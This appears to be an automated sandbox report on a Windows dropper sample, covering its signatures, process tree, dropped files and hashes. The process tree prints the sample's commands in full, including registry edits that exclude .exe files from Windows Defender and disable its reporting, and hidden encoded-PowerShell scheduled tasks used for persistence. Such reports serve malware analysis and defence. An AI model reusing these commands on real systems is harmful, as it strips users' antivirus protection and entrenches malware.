Analysis

  • max time kernel
    145s
  • max time network
    101s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    13/10/2022, 16:08

General

  • Target
    file.exe
  • Size 7.3MB
  • Sample221013-tk7s3scedr
  • SHA256 b9db12316a55e5e98195afa60af0c2f48027da140e98075db05a8d8d8d32c7f3
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10

Malware Config

Signatures

  • Executes dropped EXE 3 IoCs
  • Checks BIOS information in registry 2 TTPs 1 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 4 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1904
    • C:\Users\Admin\AppData\Local\Temp\7zS603A.tmp\Install.exe
      .\Install.exe
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1912
      • C:\Users\Admin\AppData\Local\Temp\7zS6E8C.tmp\Install.exe
        .\Install.exe /S /site_id "525403"
        3⤵
        • Executes dropped EXE
        • Checks BIOS information in registry
        • Loads dropped DLL
        • Drops file in System32 directory
        • Enumerates system info in registry
        • Suspicious use of WriteProcessMemory
        PID:808
        • C:\Windows\SysWOW64\forfiles.exe
          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:896
          • C:\Windows\SysWOW64\cmd.exe
            /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:820
            • \??\c:\windows\SysWOW64\reg.exe
              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
              6⤵
                PID:1308
              • \??\c:\windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                6⤵
                  PID:1636
            • C:\Windows\SysWOW64\forfiles.exe
              "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:1064
              • C:\Windows\SysWOW64\cmd.exe
                /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:1056
                • \??\c:\windows\SysWOW64\reg.exe
                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                  6⤵
                    PID:1516
                  • \??\c:\windows\SysWOW64\reg.exe
                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                    6⤵
                      PID:1900
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /CREATE /TN "gdDEnzWto" /SC once /ST 10:59:50 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                  4⤵
                  • Creates scheduled task(s)
                  PID:600
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /run /I /tn "gdDEnzWto"
                  4⤵
                    PID:684
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /DELETE /F /TN "gdDEnzWto"
                    4⤵
                      PID:1368
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /CREATE /TN "bEgzvIuxVYwkcyOzVH" /SC once /ST 18:11:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\VCNuBTMtosbSXUAWM\okgeXHDviFrYHfb\egjxJEj.exe\" yr /site_id 525403 /S" /V1 /F
                      4⤵
                      • Drops file in Windows directory
                      • Creates scheduled task(s)
                      PID:1804
              • C:\Windows\system32\taskeng.exe
                taskeng.exe {792FCC74-7652-41B8-ADDE-1B8CE77FD6F0} S-1-5-21-2292972927-2705560509-2768824231-1000:GRXNNIIE\Admin:Interactive:[1]
                1⤵
                  PID:1576
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                    2⤵
                    • Drops file in System32 directory
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1812
                    • C:\Windows\system32\gpupdate.exe
                      "C:\Windows\system32\gpupdate.exe" /force
                      3⤵
                        PID:972
                  • C:\Windows\system32\gpscript.exe
                    gpscript.exe /RefreshSystemParam
                    1⤵
                      PID:2040
                    • C:\Windows\system32\taskeng.exe
                      taskeng.exe {3E638286-EBDC-47BE-8BE2-39B0C63FFB68} S-1-5-18:NT AUTHORITY\System:Service:
                      1⤵
                        PID:1028
                        • C:\Users\Admin\AppData\Local\Temp\VCNuBTMtosbSXUAWM\okgeXHDviFrYHfb\egjxJEj.exe
                          C:\Users\Admin\AppData\Local\Temp\VCNuBTMtosbSXUAWM\okgeXHDviFrYHfb\egjxJEj.exe yr /site_id 525403 /S
                          2⤵
                          • Executes dropped EXE
                          • Drops file in System32 directory
                          PID:1896
                          • C:\Windows\SysWOW64\schtasks.exe
                            schtasks /CREATE /TN "gxYISYCBB" /SC once /ST 09:11:27 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                            3⤵
                            • Creates scheduled task(s)
                            PID:1888

                      Network

                            MITRE ATT&CK Enterprise v6

                            Replay Monitor

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                            Downloads

                            Install.exe

                            • Path C:\Users\Admin\AppData\Local\Temp\7zS603A.tmp\Install.exe
                            • Size 6.3MB
                            • SHA256 e319fdc399c1014485ec23d9d74cdcbcd377a26d182190651bf47417680c9bae
                            • MD5 SHA1 SHA512 SSDEEP

                            Install.exe

                            • Path C:\Users\Admin\AppData\Local\Temp\7zS603A.tmp\Install.exe
                            • Size 6.3MB
                            • SHA256 e319fdc399c1014485ec23d9d74cdcbcd377a26d182190651bf47417680c9bae
                            • MD5 SHA1 SHA512 SSDEEP

                            Install.exe

                            • Path C:\Users\Admin\AppData\Local\Temp\7zS6E8C.tmp\Install.exe
                            • Size 6.9MB
                            • SHA256 b039d513c1b8b09929b79afa44fe6ad3f1672bda0fda59052a932ed6cf5ebf14
                            • MD5 SHA1 SHA512 SSDEEP

                            Install.exe

                            • Path C:\Users\Admin\AppData\Local\Temp\7zS6E8C.tmp\Install.exe
                            • Size 6.9MB
                            • SHA256 b039d513c1b8b09929b79afa44fe6ad3f1672bda0fda59052a932ed6cf5ebf14
                            • MD5 SHA1 SHA512 SSDEEP

                            egjxJEj.exe

                            • Path C:\Users\Admin\AppData\Local\Temp\VCNuBTMtosbSXUAWM\okgeXHDviFrYHfb\egjxJEj.exe
                            • Size 6.9MB
                            • SHA256 b039d513c1b8b09929b79afa44fe6ad3f1672bda0fda59052a932ed6cf5ebf14
                            • MD5 SHA1 SHA512 SSDEEP

                            egjxJEj.exe

                            • Path C:\Users\Admin\AppData\Local\Temp\VCNuBTMtosbSXUAWM\okgeXHDviFrYHfb\egjxJEj.exe
                            • Size 6.9MB
                            • SHA256 b039d513c1b8b09929b79afa44fe6ad3f1672bda0fda59052a932ed6cf5ebf14
                            • MD5 SHA1 SHA512 SSDEEP

                            gpt.ini

                            • Path C:\Windows\system32\GroupPolicy\gpt.ini
                            • Size 268B
                            • SHA256 9f2cd4acf23d565bc8498c989fccccf59fd207ef8925111dc63e78649735404a
                            • MD5 SHA1 SHA512

                            Install.exe

                            • Path \Users\Admin\AppData\Local\Temp\7zS603A.tmp\Install.exe
                            • Size 6.3MB
                            • SHA256 e319fdc399c1014485ec23d9d74cdcbcd377a26d182190651bf47417680c9bae
                            • MD5 SHA1 SHA512 SSDEEP

                            Install.exe

                            • Path \Users\Admin\AppData\Local\Temp\7zS603A.tmp\Install.exe
                            • Size 6.3MB
                            • SHA256 e319fdc399c1014485ec23d9d74cdcbcd377a26d182190651bf47417680c9bae
                            • MD5 SHA1 SHA512 SSDEEP

                            Install.exe

                            • Path \Users\Admin\AppData\Local\Temp\7zS603A.tmp\Install.exe
                            • Size 6.3MB
                            • SHA256 e319fdc399c1014485ec23d9d74cdcbcd377a26d182190651bf47417680c9bae
                            • MD5 SHA1 SHA512 SSDEEP

                            Install.exe

                            • Path \Users\Admin\AppData\Local\Temp\7zS603A.tmp\Install.exe
                            • Size 6.3MB
                            • SHA256 e319fdc399c1014485ec23d9d74cdcbcd377a26d182190651bf47417680c9bae
                            • MD5 SHA1 SHA512 SSDEEP

                            Install.exe

                            • Path \Users\Admin\AppData\Local\Temp\7zS6E8C.tmp\Install.exe
                            • Size 6.9MB
                            • SHA256 b039d513c1b8b09929b79afa44fe6ad3f1672bda0fda59052a932ed6cf5ebf14
                            • MD5 SHA1 SHA512 SSDEEP

                            Install.exe

                            • Path \Users\Admin\AppData\Local\Temp\7zS6E8C.tmp\Install.exe
                            • Size 6.9MB
                            • SHA256 b039d513c1b8b09929b79afa44fe6ad3f1672bda0fda59052a932ed6cf5ebf14
                            • MD5 SHA1 SHA512 SSDEEP

                            Install.exe

                            • Path \Users\Admin\AppData\Local\Temp\7zS6E8C.tmp\Install.exe
                            • Size 6.9MB
                            • SHA256 b039d513c1b8b09929b79afa44fe6ad3f1672bda0fda59052a932ed6cf5ebf14
                            • MD5 SHA1 SHA512 SSDEEP

                            Install.exe

                            • Path \Users\Admin\AppData\Local\Temp\7zS6E8C.tmp\Install.exe
                            • Size 6.9MB
                            • SHA256 b039d513c1b8b09929b79afa44fe6ad3f1672bda0fda59052a932ed6cf5ebf14
                            • MD5 SHA1 SHA512 SSDEEP

                            memory/808-71-0x0000000010000000-0x0000000010D73000-memory.dmp

                            memory/1812-101-0x0000000001D0B000-0x0000000001D2A000-memory.dmp

                            memory/1812-97-0x000007FEF3090000-0x000007FEF3BED000-memory.dmp

                            memory/1812-100-0x0000000001D04000-0x0000000001D07000-memory.dmp

                            memory/1812-98-0x0000000001D04000-0x0000000001D07000-memory.dmp

                            memory/1812-96-0x000007FEF3BF0000-0x000007FEF4613000-memory.dmp

                            memory/1812-95-0x000007FEFBB41000-0x000007FEFBB43000-memory.dmp

                            memory/1904-54-0x00000000762D1000-0x00000000762D3000-memory.dmp